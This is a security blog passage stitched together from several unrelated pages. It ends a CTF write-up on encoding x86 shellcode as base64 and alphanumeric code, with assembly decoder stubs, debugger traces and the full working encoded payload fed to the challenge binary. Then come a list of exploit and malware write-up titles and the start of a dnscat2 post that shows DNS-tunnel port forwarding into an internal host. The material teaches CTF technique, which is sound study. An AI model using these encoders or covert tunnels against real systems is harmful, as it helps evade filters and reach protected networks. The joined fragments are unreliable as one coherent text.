       0x41410151:  add    BYTE PTR [eax],al
    

    As you can see, our original shellcode is properly decoded! (The inc ecx instructions you're seeing is our padding.)

    The decoder stub and encoded shellcode can be quite easily generated programmatically rather than doing it by hand, which is extremely error prone (it took me 4 tries to get it right - I messed up the start address, I compiled run_raw_code in 64-bit mode, and I got the endianness backwards before I finally got it right, which doesn't sound so bad, except that I had to go back and re-write part of this section and re-run most of the commands to get the proper output each time :) ).

    That pesky most-significant-bit

    So, I've been avoiding this, because I don't think I solved it in a very elegant way. But, my solution works, so I guess that's something. :)

    As usual, we start by looking at our set of available instructions to see what we can use to set the most significant bit (let's start calling it the "MSB" to save my fingers).

    Unfortunately, the easy stuff can't help us; xor can only set it if it's already set somewhere, we don't have any shift instructions, inc would take forever, and the subtract and multiply instructions could probably work, but it would be tricky.

    Let's start with a simple case: can we set edx to 0x80?

    First, let's set edx to the highest value we can, 0x7F (we choose edx because a) it's one of the three registers we can easily pop into; b) eax is our working variable since it's the only one we can xor; and c) we don't want to change ecx once we start going, since it points to the memory we're decoding):

    irb(main):057:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x0000007F)
    0x41414146 ^ 0x41414139
    

    Using those values and our old push / pop / xor pattern, we can set edx to 0x80:

    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    
    ; Now that edx is 0x7F, we can simply increment it
    inc edx ; edx -> 0x80
    

    That works out to:

    00000000  68 46 41 41 41 58 35 39  41 41 41 50 5a 42        |hFAAAX59AAAPZB|
    

    So far so good! Now we can do our usual xor to set that one bit in our decoded code:

    xor [ecx+0x41], edx
    

    This sets the MSB of whatever ecx+0x41 (our current instruction) is.

    If we were decoding a single bit at a time, we'd be done. Unfortunately, we aren't so lucky - we're working in 32-bit (4-byte) chunks.

    Setting edx to 0x00008000, 0x00800000, or 0x80000000

    So how do we set edx to 0x00008000, 0x00800000, or 0x80000000 without having a shift instruction?

    This is where I introduce a pretty ugly hack. In effect, we use some stack shenanigans to perform a poor-man's shift. This won't work on most non-x86/x64 systems, because they require a word-aligned stack (I was actually a little surprised it worked on x86, to be honest!).

    Let's say we want 0x00008000. Let's just look at the code:

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier (we need a register that's reliably 0)
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set edx to 0x00000080, just like before
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    inc edx ; edx -> 0x80
    
    ; Push edi (which, like all registers, is 0) onto the stack
    push edi ; 0x00000000
    
    ; Push edx onto the stack
    push edx
    
    ; Move esp by 1 byte - note that this won't work on many architectures, but x86/x64 are fine with a misaligned stack
    dec esp
    
    ; Get edx back, shifted by one byte
    pop edx
    
    ; Fix the stack (not <em>really</em> necessary, but it's nice to do it
    inc esp
    
    ; Add a debug breakpoint so we can inspect the value
    int 3
    

    And we can use gdb to prove it works with the same trick as before:

    $ nasm -o file file.asm
    $ rm -f core
    $ ulimit -c unlimited
    $ ./run_raw_code ./file
    allocated 41 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410029 in ?? ()
    (gdb) print/x $edx
    $1 = 0x8000
    

    We can do basically the exact same thing to set the third byte:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp ; <-- New
    

    And the fourth:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp
    inc esp ; <-- New
    

    Putting it all together

    You can take a look at how I do this in my final code. It's going to be a little different, because instead of using our xor trick to set edx to 0x7F, I instead push 0x7a / pop edx / increment 6 times. The only reason is that I didn't think of the xor trick when I was writing the original code, and I don't want to mess with it now.

    But, we're going to do it the hard way: by hand! I'm literally writing this code as I write the blog (and, message from the future: it worked on the second try :) ).

    Let's just stick with our simple exit-with-0x41414141-status shellcode:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Which assembles to this, which is conveniently already a multiple of 4 bytes so no padding required:

    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |......AAAA..|
    

    Since we're doing it by hand, let's extract all the MSBs into a separate string (remember, this is all done programmatically usually):

    00000000  38 01 00 00 00 3b 41 41  41 41 4d 00              |......AAAA..|
    00000000  80 00 00 00 00 80 00 00  00 00 80 80              |......AAAA..|
    

    If you xor those two strings together, you'll get the original string back.

    First, let's worry about the first string. It's handled exactly the way we did the last example. We start by getting the three 32-bit values as little endian values:

    • 38 01 00 00 -> 0x00000138
    • 00 3b 41 41 -> 0x41413b00
    • 41 41 4d 00 -> 0x004d4141

    And then find the xor pairs to generate them just like before:

    irb(main):061:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x00000138)
    0x41414241 ^ 0x41414379
    
    irb(main):062:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41413b00)
    0x6a6a4141 ^ 0x2b2b7a41
    
    irb(main):063:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x004d4141)
    0x41626a6a ^ 0x412f2b2b
    

    But here's where the twist comes: let's take the MSB string above, and also convert that to little-endian integers:

    • 80 00 00 00 -> 0x00000080
    • 00 80 00 00 -> 0x00008000
    • 00 00 80 80 -> 0x80800000

    Now, let's try writing our decoder stub just like before, except that after decoding the MSB-free vale, we're going to separately inject the MSBs into the code!

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; 0x41410100
    push eax
    pop ecx
    
    ; xor the first pair
    push 0x41414241
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00000080, so let's load it into edx
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the second pair
    push 0x6a6a4141
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00008000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    
    push edi ; 0x00000000
    push edx
    dec esp
    pop edx ; edx is now 0x00008000
    inc esp
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the third pair
    push 0x41626a6a
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x80800000; we'll do it in two operations, with 0x00800000 first
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; And then the 0x80000000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; Padding (calculated based on the length above, subtracted from 0x141)
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAA'
    
    ; The second halves of the pairs (ie, the encoded data; this is where the decoded data will end up by the time execution gets here)
    dd 0x41414379
    dd 0x2b2b7a41
    dd 0x412f2b2b
    

    And that's it! Let's try it out! The code leading up to the padding assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41 50 50 50 50 50  |hAAAAX5AAAAPPPPP|
    00000010  50 50 50 61 68 41 42 6a  6a 58 35 41 43 2b 2b 50  |PPPahABjjX5AC++P|
    00000020  59 68 41 42 41 41 5a 31  51 41 68 46 41 41 41 58  |YhABAAZ1QAhFAAAX|
    00000030  35 39 41 41 41 50 5a 42  31 51 41 41 41 41 41 68  |59AAAPZB1QAAAAAh|
    00000040  41 41 6a 6a 5a 31 51 41  68 46 41 41 41 58 35 39  |AAjjZ1QAhFAAAX59|
    00000050  41 41 41 50 5a 42 57 52  4c 5a 44 31 51 41 41 41  |AAAPZBWRLZD1QAAA|
    00000060  41 41 68 6a 6a 62 41 5a  31 51 41 68 46 41 41 41  |AAhjjbAZ1QAhFAAA|
    00000070  58 35 39 41 41 41 50 5a  42 57 52 4c 4c 5a 44 44  |X59AAAPZBWRLLZDD|
    00000080  31 51 41 68 46 41 41 41  58 35 39 41 41 41 50 5a  |1QAhFAAAX59AAAPZ|
    00000090  42 57 52 4c 4c 4c 5a 44  44 44 31 51 41           |BWRLLLZDDD1QA|
    

    We can verify it's all base64 by eyeballing it. We can also determine that it's 0x9d bytes long, which means to get to 0x141 we need to pad it with 0xa4 bytes (already included above) before the encoded data.

    We can dump allll that code into a file, and run it with run_raw_code (don't forget to apply the patch from earlier to change the base address to 0x41410000, and don't forget to compile with -m32 for 32-bit mode):

    $ nasm -o file file.asm
    $ strace ./run_raw_code ./file
    read(3, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 333) = 333
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    It works! And it only took me two tries (I missed the 'inc ecx' lines the first time :) ).

    I realize that it's a bit inefficient to encode 3 lines into like 100, but that's the cost of having a limited character set!

    Solving the level

    Bringing it back to the actual challenge...

    Now that we have working base 64 code, the rest is pretty simple. Since the app encodes the base64 for us, we have to take what we have and decode it first, to get the string that would generate the base64 we want.

    Because base64 works in blocks and has padding, we're going to append a few meaningless bytes to the end so that if anything gets messed up by being a partial block, they will.

    Here's the full "exploit", assembled:

    hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/A

    We're going to add a few 'A's to the end for padding (the character we choose is meaningless), and run it through base64 -d (adding '='s to the end until we stop getting decoding errors):

    $ echo 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | hexdump -Cv
    00000000  84 00 00 01 7e 40 00 00  0f 3c f3 cf 3c f3 da 84  |....~@...<..<...|
    00000010  00 63 8d 7e 40 0b ef 8f  62 10 01 00 06 75 40 08  |.c.~@...b....u@.|
    00000020  45 00 00 17 e7 d0 00 00  f6 41 d5 00 00 00 00 21  |E........A.....!|
    00000030  00 08 e3 67 54 00 84 50  00 01 7e 7d 00 00 0f 64  |...gT..P..~}...d|
    00000040  15 91 2d 90 f5 40 00 00  00 08 63 8d b0 19 d5 00  |..-..@....c.....|
    00000050  21 14 00 00 5f 9f 40 00  03 d9 05 64 4b 2d 90 c3  |!..._.@....dK-..|
    00000060  d5 00 21 14 00 00 5f 9f  40 00 03 d9 05 64 4b 2c  |..!..._.@....dK,|
    00000070  b6 43 0c 3d 50 00 00 00  00 00 00 00 00 00 00 00  |.C.=P...........|
    00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000f0  03 20 80 00 0c fe fb ef  bf 00 00 00 00 00        |. ............|
    

    Let's convert that into a string that we can use on the commandline by chaining together a bunch of shell commands:

    echo -ne 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | xxd -g1 file | cut -b10-57 | tr -d '\n' | sed 's/ /\\x/g'
    \x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00
    

    And, finally, feed all that into b-64-b-tuff:

    $ echo -ne '\x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00' | strace ./b-64-b-tuff
    read(0, "\204\0\0\1~@\0\0\17<\363\317<\363\332\204\0c\215~@\v\357\217b\20\1\0\6u@\10"..., 4096) = 254
    write(1, "Read 254 bytes!\n", 16Read 254 bytes!
    )       = 16
    write(1, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 340hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=) = 340
    write(1, "\n", 1
    )                       = 1
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    And, sure enough, it exited with the status that we wanted! Now that we've encoded 12 bytes of shellcode, we can encode any amount of arbitrary code that we choose to!

    Summary

    So that, ladies and gentlemen and everyone else, is how to encode some simple shellcode into base64 by hand. My solution does almost exactly those steps, but in an automated fashion. I also found a few shortcuts while writing the blog that aren't included in that code.

    To summarize:

    • Pad the input to a multiple of 4 bytes
    • Break the input up into 4-byte blocks, and find an xor pair that generates each value
    • Set ecx to a value that's 0x41 bits before the encoded payload, which is half of the xor pairs
    • Put the other half the xor pair in-line, loaded into edx and xor'd with the encoded payload
    • If there are any MSB bits set, set edx to 0x80 and use the stack to shift them into the right place to be inserted with a xor
    • After all the xors, add padding that's base64-compatible, but is effectively a no-op, to bridge between the decoder and the encoded payload
    • End with the encoded stub (second half of the xor pairs)

    When the code runs, it xors each pair, and writes it in-line to where the encoded value was. It sets the MSB bits as needed. The padding runs, which is an effective no-op, then finally the freshly decoded code runs.

    It's complex, but hopefully this blog helps explain it!

    One thought on “Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    1. Reply

      Grazfather

      Cool, I like your methodical approach. I did mine similarly, but more back and forth (e.g. I had to keep adding padding in the middle so that the bytes I needed to change were at least 0x30 bytes from the address I had in ecx.

      To do the top bits I had a different approach: I just decremented to put 0xFFFFFFFF into edx, and then just xored that. That flips all bits, but that's totally fine, I just did a byte-wise xor (instead of dword) for the few bytes I needed it applied on.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### November » 2008 » SkullSecurity

    ms08-068 — Preventing SMBRelay Attacks

    Microsoft released ms08-068 this week, which fixes a vulnerability that's been present and documented since 2001. I'm going to write a quick overview of it here, although you'll probably get a better one by reading The Metasploit Blog.

    #####EOF##### Reverse Engineering » SkullSecurity

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody, In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page. This post will be more […]

    BSidesSF CTF author writeup: genius

    Hey all, This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius! genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the […]

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code […]

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end. Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was […]

    Defcon Quals writeup for byhd (reversing a Huffman Tree)

    This is my writeup for byhd, a 2-point challenge from the Defcon Qualifier CTF. You can get the files, including my annotated assembly file, here. This is my second (and final) writeup for the Defcon Qualifiers, you can find the writeup for shitsco here. This was a reverse engineering challenge where code would be constructed […]

    PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

    Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us […]

    PlaidCTF writeup for Pwn-200 (a simple overflow bug)

    I know what you're thinking of: what's with all the Web levels!? Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you're interested in […]

    Ghost in the Shellcode: fuzzy (Pwnage 301)

    Hey folks, It's a little bit late coming, but this is my writeup for the Fuzzy level from the Ghost in the Shellcode 2014 CTF! I kept putting off writing this, to the point where it became hard to just sit down and do it. But I really wanted to finish before PlaidCTF 2014, which […]

    Ghost in the Shellcode: gitsmsg (Pwnage 299)

    "It's Saturday night; I have no date, a 2L bottle of Shasta, and my all-rush mix tape. Let's rock!" ...that's what I said before I started gitsmsg. I then entered "Rush" into Pandora, and listened to a mix of Rush, Kansas, Queen, Billy Idol, and other 80's rock for the entire level. True story. Anyway, […]

    Ghost in the Shellcode: TI-1337 (Pwnable 100)

    Hey everybody, This past weekend was Shmoocon, and you know what that means—Ghost in the Shellcode! Most years I go to Shmoocon, but this year I couldn't attend, so I did the next best thing: competed in Ghost in the Shellcode! This year, our rag-tag band of misfits—that is, the team who purposely decided not […]

    In-depth malware: Unpacking the ‘lcmw’ Trojan

    Hey folks, Happy New Year, and welcome to 2014! On a recent trip to Tyson's Corner, VA, I had some time to kill, so I took a careful look at a malware sample that a friend of mine sent to me some time ago, which I believe he originally got off somebody else's hosed system. […]

    ropasaurusrex: a primer on return-oriented programming

    One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even […]

    Epic “cnot” Writeup (highest value level from PlaidCTF)

    When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in PlaidCTF, I […]

    Battle.net authentication misconceptions

    Hey everybody, There have been a lot of discussion and misconceptions about Battle.net's authentication lately. Having done a lot of work on the Battle.net protocol, I wanted to lay some to rest. The first thing to understand is that, at least at the time I was working on this, there were three different login methods […]

    Remote control manager FAIL

    Hey guys, Today, I thought it'd be fun to take a good look at a serious flaw in some computer-management software. Basically, the software is designed for remotely controlling systems on networks (for installing updates or whatever). As far as I know, this vulnerability is currently unpatched; there are allegedly mitigations, but you have to […]

    A deeper look at ms11-058

    Hey everybody, Two weeks ago today, Microsoft released a bunch of bulletins for Patch Tuesday. One of them - ms11-058 - was rated critical and potentially exploitable. However, according to Microsoft, this is a simple integer overflow, leading to a huge memcpy leading to a DoS and nothing more. I disagree. Although I didn't find […]

    Locks that can re-key themselves?

    Hey everybody, As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at physical security, even if it's just in jest. Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I […]

    Watch out for exim!

    Hey everybody, Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! First off, if you're concerned that you might have vulnerable hosts, I wrote a […]

    Taking apart the Energizer trojan – Part 4: writing a probe

    Now that we know what we need to send and receive, and how it's encoded, let's generate the actual packet. Then, once we're sure it's working, we'll convert it into an Nmap probe! In most of this section, I assume you're running Linux, Mac, or some other operating system with a built-in compiler and useful […]

    Taking apart the Energizer trojan – Part 3: disassembling

    In Part 2: runtime analysis, we discovered some important addresses in the Energizer Trojan -- specifically, the addresses that make the call to recv() data. Be sure to read that section before reading this one. Now that we have some starting addresses, we can move on to a disassembler and look at what the code's […]

    #####EOF##### #####EOF##### dnscat2 0.05: with tunnels! » SkullSecurity


    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday!

    My Christmas present to you, the community, is dnscat2 version 0.05!

    Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

    The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

    Info and downloads.

    High-level

    There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans.

    On a high level, this works exactly like ssh with the -L argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server.

    That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel.

    Let's look at how to use it!

    Usage

    Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required:

    (server)
    
    # ruby ./dnscat2.rb
    New window created: 0
    
    [...]
    
    dnscat2>
    
    (client)
    
    $ ./dnscat --dns="server=localhost,port=53"
    Creating DNS driver:
     domain = (null)
     host   = 0.0.0.0
     port   = 53
     type   = TXT,CNAME,MX
     server = localhost
    
    Encrypted session established! For added security, please verify the server also displays this string:
    
    Encode Surfs Taking Spiced Finer Sonny
    
    Session established!
    

    We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ).

    Once you have a session set up, you want to tell the session to listen with the listen command:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Encode Surfs Taking Spiced Finer Sonny
    
    dnscat2> session -i 1
    [...]
    dnscat2> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    

    Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes.

    The dnscat2 client, however, has no idea what's happening yet! The client doesn't know what's happening until it's actually told to connect to something with a TUNNEL_CONNECT message (which will be discussed later).

    Now we can connect to the server on port 8080 and request a page:

    $ echo -ne 'HEAD / HTTP/1.0\r\n\r\n' | nc -vv localhost 8080
    localhost [127.0.0.1] 8080 (http-alt) open
    HTTP/1.0 200 OK
    Date: Thu, 24 Dec 2015 16:28:27 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    [...]
    

    On the server, we see the request going out:

    command (ankh) 1> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    command (ankh) 1>
    Connection from 127.0.0.1:60480; forwarding to www.google.com:80...
    [Tunnel 0] connection successful!
    [Tunnel 0] closed by the other side: Server closed the connection!
    Connection from 123.151.42.61:48904; forwarding to www.google.com:80...
    

    And you also see very similar messages on the client:

    Got a command: TUNNEL_CONNECT [request] :: request_id 0x0001 :: host www.google.com :: port 80
    [[ WARNING ]] :: [Tunnel 0] connecting to www.google.com:80...
    [[ WARNING ]] :: [Tunnel 0] connected to www.google.com:80!
    [[ WARNING ]] :: [Tunnel 0] connection to www.google.com:80 closed by the server!
    

    That's pretty much all you need to know! One more quick example:

    To forward a ssh connection to an internal machine:

    command (ankh) 1> listen 127.0.0.1:2222 192.168.1.100:22
    

    Followed by ssh -p2222 root@localhost. That'll connect to 192.168.1.100 on port 22, via the dnscat client!

    Stopping a session

    I frequently used auto-commands while testing this feature:

    ruby ./dnscat2.rb --dnsport=53531 --security=open --auto-attach --auto-command="listen 2222 www.javaop.com:22;listen 1234 www.google.ca:1234;listen 4444 localhost:5555" --packet-trace
    

    The problem is that I'd connect with a client, hard-kill it with ctrl-c (so it doesn't tell the server it's gone), then start another one. When the second client connects, the server won't be able to listen anymore:

    Listening on 0.0.0.0:4444, sending connections to localhost:5555
    Sorry, that address:port is already in use: Address already in use - bind(2)
    
    If you kill a session from the root window with the 'kill'
